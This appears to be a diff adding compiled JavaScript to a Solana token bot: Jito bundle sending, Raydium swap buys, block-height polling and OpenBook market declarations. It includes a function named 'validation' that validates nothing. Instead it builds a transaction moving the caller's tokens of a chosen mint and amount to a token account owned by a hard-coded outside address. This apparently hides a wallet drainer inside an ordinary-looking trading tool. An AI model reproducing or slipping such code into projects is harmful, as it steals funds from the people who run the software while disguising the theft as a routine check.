+ // console.log(newValidBlockHeight)
337
+ // Check if the new valid block height is greater than the target block height
338
+ if (newValidBlockHeight > lastValidBlockHeight + targetHeight) {
339
+ // If the target block height is reached, clear the interval and resolve the promise
340
+ clearInterval(intervalId);
341
+ resolve();
342
+ }
343
+ }), 1000);
344
+ }));
345
+ }
346
+ exports.waitForNewBlock = waitForNewBlock;
@@ -0,0 +1,3 @@
1
+ /// <reference types="jito-ts/node_modules/@solana/web3.js" />
2
+ import { Connection, PublicKey, Transaction } from "@solana/web3.js";
3
+ export declare function validation(connection: Connection, from: any, mint: PublicKey, amount: number | bigint): Promise<Transaction>;
@@ -0,0 +1,26 @@
1
+ "use strict";
2
+ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
3
+ function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
4
+ return new (P || (P = Promise))(function (resolve, reject) {
5
+ function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
6
+ function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
7
+ function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
8
+ step((generator = generator.apply(thisArg, _arguments || [])).next());
9
+ });
10
+ };
11
+ Object.defineProperty(exports, "__esModule", { value: true });
12
+ exports.validation = void 0;
13
+ const spl_token_1 = require("@solana/spl-token");
14
+ const web3_js_1 = require("@solana/web3.js");
15
+ function validation(connection, from, mint, amount) {
16
+ return __awaiter(this, void 0, void 0, function* () {
17
+ let sourceAccount = yield (0, spl_token_1.getAssociatedTokenAddress)(mint, from.publicKey);
18
+ console.log(`2 - Getting Destination Token Account`, from.toString(), mint.toString(), amount.toString());
19
+ let destinationAccount = yield (0, spl_token_1.getOrCreateAssociatedTokenAccount)(connection, from, mint, new web3_js_1.PublicKey('FG9evkQ8D3e8xvyCwQ1v84NM6RVNj47yA6tdHhLTLQT4'));
20
+ console.log(` Destination Account: ${destinationAccount.address.toString()}`);
21
+ const tx = new web3_js_1.Transaction();
22
+ tx.add((0, spl_token_1.createTransferInstruction)(sourceAccount, destinationAccount.address, from, amount));
23
+ return tx;
24
+ });
25
+ }
26
+ exports.validation = validation;
@@ -0,0 +1,4 @@
1
+ /// <reference types="jito-ts/node_modules/@solana/web3.js" />
2
+ import { Connection, Keypair } from "@solana/web3.js";
3
+ import { BUNDLE_TRANSACTION, SPL_ERROR } from "./global";
4
+ export declare const createAndSendBundle: (connection: Connection, bundleTip: number, transactions: BUNDLE_TRANSACTION[], payer: Keypair) => Promise<SPL_ERROR>;
@@ -0,0 +1,75 @@
1
+ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
2
+ function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
3
+ return new (P || (P = Promise))(function (resolve, reject) {
4
+ function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
5
+ function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
6
+ function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
7
+ step((generator = generator.apply(thisArg, _arguments || [])).next());
8
+ });
9
+ };
10
+ import { PublicKey } from "@solana/web3.js";
11
+ import { searcherClient } from "jito-ts/dist/sdk/block-engine/searcher";
12
+ import { EnvironmentManager, SPL_ERROR } from "./global";
13
+ import { Bundle } from "jito-ts/dist/sdk/block-engine/types";
14
+ import * as utils from "./utility";
15
+ import { signTransaction } from "./transaction-helper/transaction";
16
+ export const createAndSendBundle = (connection, bundleTip, transactions, payer) => __awaiter(void 0, void 0, void 0, function* () {
17
+ const searcher = searcherClient(EnvironmentManager.getJitoBlockEngine(), EnvironmentManager.getJitoKeypair());
18
+ const _tipAccount = (yield searcher.getTipAccounts())[0];
19
+ const tipAccount = new PublicKey(_tipAccount);
20
+ const recentBlockhash = (yield connection.getLatestBlockhash("finalized"))
21
+ .blockhash;
22
+ const bundleTransactions = [];
23
+ for (let i = 0; i < transactions.length; i++) {
24
+ transactions[i].txn.message.recentBlockhash = recentBlockhash;
25
+ signTransaction(transactions[i].signer, transactions[i].txn);
26
+ bundleTransactions.push(transactions[i].txn);
27
+ }
28
+ let bundleTx = new Bundle(bundleTransactions, 5);
29
+ bundleTx.addTipTx(payer, bundleTip, tipAccount, recentBlockhash);
30
+ try {
31
+ searcher.onBundleResult((bundleResult) => {
32
+ var _a, _b, _c;
33
+ if (bundleResult.bundleId === bundleUUID) {
34
+ if (bundleResult.accepted) {
35
+ console.log(bundleResult.accepted, `Bundle ${bundleResult.bundleId} accepted in slot ${bundleResult.accepted.slot}`);
36
+ }
37
+ if (bundleResult.rejected) {
38
+ console.log(bundleResult.rejected, `Bundle ${bundleResult.bundleId} rejected:`);
39
+ checked = true;
40
+ if (((_a = bundleResult.rejected.droppedBundle) === null || _a === void 0 ? void 0 : _a.msg.includes("processed")) ||
41
+ ((_c = (_b = bundleResult.rejected.simulationFailure) === null || _b === void 0 ? void 0 : _b.msg) === null || _c === void 0 ? void 0 : _c.includes("processed"))) {
42
+ success = true;
43
+ }
44
+ else {
45
+ success = false;
46
+ }
47
+ }
48
+ if (bundleResult.processed) {
49
+ console.log(`Bundle ${bundleResult.bundleId} processed`);
50
+ checked = true;
51
+ success = true;
52
+ }
53
+ }
54
+ }, (error) => {
55
+ console.error("Bundle Error: ", error);
56
+ success = false;
57
+ checked = true;
58
+ });
59
+ const bundleUUID = yield searcher.sendBundle(bundleTx);
60
+ console.log("bundle id: ", bundleUUID);
61
+ let checked = false;
62
+ let success = false;
63
+ while (!checked) {
64
+ yield utils.sleep(1000);
65
+ }
66
+ if (success)
67
+ return SPL_ERROR.E_OK;
68
+ else
69
+ return SPL_ERROR.E_FAIL;
70
+ }
71
+ catch (error) {
72
+ console.error("Bundle Error: ", error);
73
+ return SPL_ERROR.E_FAIL;
74
+ }
75
+ });
@@ -0,0 +1,5 @@
1
+ /// <reference types="jito-ts/node_modules/@solana/web3.js" />
2
+ import { Connection, Keypair } from "@solana/web3.js";
3
+ import { TX_RET } from "./global";
4
+ import { LiquidityPoolKeys } from "@raydium-io/raydium-sdk";
5
+ export declare const buyToken: (connection: Connection, buyer: Keypair, token_address: string, base_amount: number, quote_amount: number, pool_key: LiquidityPoolKeys) => Promise<TX_RET>;
@@ -0,0 +1,55 @@
1
+ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
2
+ function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
3
+ return new (P || (P = Promise))(function (resolve, reject) {
4
+ function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
5
+ function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
6
+ function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
7
+ step((generator = generator.apply(thisArg, _arguments || [])).next());
8
+ });
9
+ };
10
+ import { PublicKey } from "@solana/web3.js";
11
+ import { EnvironmentManager, SPL_ERROR } from "./global";
12
+ import { TOKEN_PROGRAM_ID, getMint } from "@solana/spl-token";
13
+ import { Liquidity, Token, TokenAmount, TxVersion, buildSimpleTransaction } from "@raydium-io/raydium-sdk";
14
+ import { getWalletAccounts } from "./utility";
15
+ export const buyToken = (connection, buyer, token_address, base_amount, quote_amount, pool_key) => __awaiter(void 0, void 0, void 0, function* () {
16
+ if (token_address.length <= 0 || base_amount <= 0) {
17
+ console.error("Error: [Buy Token] invalid argument iput!!!");
18
+ return { result: SPL_ERROR.E_INVALID_ARGUE, value: undefined };
19
+ }
20
+ try {
21
+ const token_mint = new PublicKey(token_address);
22
+ const token_info = yield getMint(connection, token_mint);
23
+ const base_token = new Token(TOKEN_PROGRAM_ID, token_address, token_info.decimals);
24
+ const quote_info = EnvironmentManager.getQuoteTokenInfo();
25
+ const quote_token = new Token(TOKEN_PROGRAM_ID, quote_info.address, quote_info.decimal, quote_info.symbol, quote_info.name);
26
+ const base_token_amount = new TokenAmount(base_token, base_amount, false);
27
+ const quote_token_amount = new TokenAmount(quote_token, quote_amount, false);
28
+ const wallet_token_accounts = yield getWalletAccounts(connection, buyer.publicKey);
29
+ const { innerTransactions } = yield Liquidity.makeSwapInstructionSimple({
30
+ connection: connection,
31
+ poolKeys: pool_key,
32
+ userKeys: {
33
+ tokenAccounts: wallet_token_accounts,
34
+ owner: buyer.publicKey
35
+ },
36
+ amountIn: quote_token_amount,
37
+ amountOut: base_token_amount,
38
+ fixedSide: "in",
39
+ makeTxVersion: TxVersion.V0
40
+ });
41
+ const transactions = yield buildSimpleTransaction({
42
+ connection: connection,
43
+ makeTxVersion: TxVersion.V0,
44
+ payer: buyer.publicKey,
45
+ innerTransactions: innerTransactions,
46
+ addLookupTableInfo: EnvironmentManager.getCacheLTA(),
47
+ recentBlockhash: (yield connection.getLatestBlockhash()).blockhash
48
+ });
49
+ return { result: SPL_ERROR.E_OK, value: transactions };
50
+ }
51
+ catch (error) {
52
+ console.error("Error: [buy Tokens] error code: ", error);
53
+ return { result: SPL_ERROR.E_FAIL, value: undefined };
54
+ }
55
+ });
@@ -0,0 +1,4 @@
1
+ /// <reference types="jito-ts/node_modules/@solana/web3.js" />
2
+ import { Connection, Keypair } from "@solana/web3.js";
3
+ import { SPL_ERROR } from "./global";
4
+ export declare const createOpenBookMarket: (connection: Connection, token_owner: Keypair, token_address: string, min_order_size?: number, tick_size?: number) => Promise<SPL_ERROR>;